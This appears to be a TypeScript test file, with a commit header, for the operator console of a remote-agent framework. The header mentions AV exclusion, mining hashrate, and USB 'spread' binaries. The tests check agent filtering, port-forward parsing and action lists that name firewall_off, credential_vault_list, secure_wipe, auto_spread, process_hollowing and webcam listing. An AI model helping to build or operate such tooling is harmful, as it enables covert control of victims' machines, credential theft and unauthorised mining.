Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Fix macOS agent cross-compile (SilentAVExclusion) and Calibrate E2E nav selector; expand tests and docs; refresh portable usb binary and spread/wiki assets.
119 lines
3.9 KiB
TypeScript
119 lines
3.9 KiB
TypeScript
import { describe, expect, it } from 'vitest';
|
|
import { mockAgent } from '../test/fixtures';
|
|
import {
|
|
CRUCIBLE_PHASE_C_ACTIONS,
|
|
buildSSHForwardPayload,
|
|
isWindowsPlatform,
|
|
newPortForwardRow,
|
|
onlineAgents,
|
|
parseCameraListMessage,
|
|
parseRemoteHostPort,
|
|
selectionAggressiveHint,
|
|
selectionCanRunAggressive,
|
|
validatePortForwardRows,
|
|
windowsOnlineAgents,
|
|
} from './crucibleOps';
|
|
|
|
const fullCaps = {
|
|
hole_punch: true,
|
|
remote_aggressive: true,
|
|
mesh_p2p: true,
|
|
auto_spread: true,
|
|
process_hollowing: false,
|
|
ai_enabled: false,
|
|
};
|
|
|
|
describe('crucibleOps', () => {
|
|
it('onlineAgents filters to online status', () => {
|
|
const agents = [
|
|
mockAgent({ id: 'a', status: 'online' }),
|
|
mockAgent({ id: 'b', status: 'offline' }),
|
|
];
|
|
expect(onlineAgents(agents).map((a) => a.id)).toEqual(['a']);
|
|
});
|
|
|
|
it('windowsOnlineAgents filters to online Windows nodes', () => {
|
|
const agents = [
|
|
mockAgent({ id: 'w', status: 'online', platform: 'windows' }),
|
|
mockAgent({ id: 'l', status: 'online', platform: 'linux' }),
|
|
];
|
|
expect(windowsOnlineAgents(agents).map((a) => a.id)).toEqual(['w']);
|
|
});
|
|
|
|
it('isWindowsPlatform treats unknown as Windows', () => {
|
|
expect(isWindowsPlatform(undefined)).toBe(true);
|
|
expect(isWindowsPlatform('windows')).toBe(true);
|
|
expect(isWindowsPlatform('linux')).toBe(false);
|
|
});
|
|
|
|
it('selectionCanRunAggressive allows when any target has capability', () => {
|
|
const agents = [
|
|
mockAgent({ id: 'w', status: 'online', platform: 'windows', capabilities: fullCaps }),
|
|
mockAgent({
|
|
id: 'l',
|
|
status: 'online',
|
|
platform: 'linux',
|
|
capabilities: { ...fullCaps, remote_aggressive: false },
|
|
}),
|
|
];
|
|
expect(selectionCanRunAggressive('firewall_off', agents)).toBe(true);
|
|
expect(selectionCanRunAggressive('mesh_status', [{ ...agents[1], capabilities: { ...fullCaps, mesh_p2p: false } }])).toBe(false);
|
|
});
|
|
|
|
it('selectionAggressiveHint explains blocked bulk ops', () => {
|
|
const agents = [
|
|
mockAgent({
|
|
id: 'l',
|
|
status: 'online',
|
|
platform: 'linux',
|
|
capabilities: fullCaps,
|
|
}),
|
|
];
|
|
expect(selectionAggressiveHint('firewall_off', agents)).toContain('Windows-only');
|
|
expect(selectionAggressiveHint('hole_punch', [])).toContain('online');
|
|
});
|
|
|
|
it('parseCameraListMessage strips ffmpeg banner lines', () => {
|
|
const msg = `[dshow @ 0] DirectShow video devices
|
|
"USB2.0 HD UVC WebCam"
|
|
/dev/video0`;
|
|
expect(parseCameraListMessage(msg)).toEqual(['"USB2.0 HD UVC WebCam"', '/dev/video0']);
|
|
});
|
|
|
|
it('lists Phase C actions', () => {
|
|
expect(CRUCIBLE_PHASE_C_ACTIONS).toContain('smb_shares');
|
|
expect(CRUCIBLE_PHASE_C_ACTIONS).toContain('spread_status');
|
|
expect(CRUCIBLE_PHASE_C_ACTIONS).toContain('credential_vault_list');
|
|
expect(CRUCIBLE_PHASE_C_ACTIONS).toContain('secure_wipe');
|
|
expect(CRUCIBLE_PHASE_C_ACTIONS).toContain('tunnel_ssh_forward');
|
|
});
|
|
|
|
it('parseRemoteHostPort splits host and port', () => {
|
|
expect(parseRemoteHostPort('192.168.1.10:3389')).toEqual({ host: '192.168.1.10', port: 3389 });
|
|
expect(parseRemoteHostPort('[::1]:22')).toEqual({ host: '::1', port: 22 });
|
|
expect(parseRemoteHostPort('bad')).toBeNull();
|
|
});
|
|
|
|
it('buildSSHForwardPayload omits empty ssh user', () => {
|
|
expect(buildSSHForwardPayload('2222', '10.0.0.5:22', '')).toEqual({
|
|
local_port: 2222,
|
|
remote_host: '10.0.0.5',
|
|
remote_port: 22,
|
|
});
|
|
expect(buildSSHForwardPayload('2222', '10.0.0.5:22', 'admin')).toEqual({
|
|
local_port: 2222,
|
|
remote_host: '10.0.0.5',
|
|
remote_port: 22,
|
|
ssh_user: 'admin',
|
|
});
|
|
});
|
|
|
|
it('validatePortForwardRows rejects invalid rows', () => {
|
|
expect(validatePortForwardRows([])).toContain('at least one');
|
|
const row = newPortForwardRow('r1');
|
|
row.remoteHostPort = 'nope';
|
|
expect(validatePortForwardRows([row])).toContain('Invalid row');
|
|
expect(validatePortForwardRows([newPortForwardRow('r2')])).toBeNull();
|
|
});
|
|
});
|